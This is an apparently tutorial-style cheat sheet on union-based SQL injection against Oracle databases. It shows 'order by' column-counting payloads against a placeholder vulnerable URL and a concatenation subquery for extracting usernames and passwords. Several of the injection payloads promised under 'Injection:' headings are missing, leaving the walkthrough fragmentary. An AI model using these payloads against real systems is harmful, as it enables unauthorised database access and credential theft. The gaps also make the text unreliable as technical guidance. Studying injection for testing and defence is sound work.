πUnion Based Oracle Injection
Finding the point of injection and making the union select statement is same in Oracle and other injection so we will continue with the rest part.
Some of the common error which can help you differentiate between ORACLE db and other is:
Microsoft OLE DB Provider for ODBC Drivers error '80004005'
Microsoft VBScript runtime error '800a01a8'-------------------------------------------------------------
So lets start and find out the number of columns using "order by" clause:
Injection:
www.vuln-web.com/photo.php?id=1' order by 1--
Working
www.vuln-web.com/photo.php?id=1-' order by 10--
www.vuln-web.com/photo.php?id=1' order by 7--
Working
www.vuln-web.com/photo.php?id=1' order by 9--
WorkingSo as of now we know that 9 is the last column which worked
-------------------------------------------------------------
Let us prepare the union select statement
Injection:
-------------------------------------------------------------
Unlike MySQL Oracle do not allow select statement without from clause. As we have prepared the Union select statement our next task is to check which column is getting printed that we can do by random testing each column one by one by printing the current database name
Injection:
This means we can use the second column from now.
-------------------------------------------------------------
Now to get the Database name we can use:
Injection:
-------------------------------------------------------------
To get the version we can use:
-------------------------------------------------------------
To get the Table Names we can use:
-------------------------------------------------------------
To get the columns for a specific table we can use:
here in example i am using user_table:
-------------------------------------------------------------
To extract data from some columns we can use the following query alongwith the || as concatination operator:
(select username||password from table_name_here)
(select username||password from table_name_here)Last updated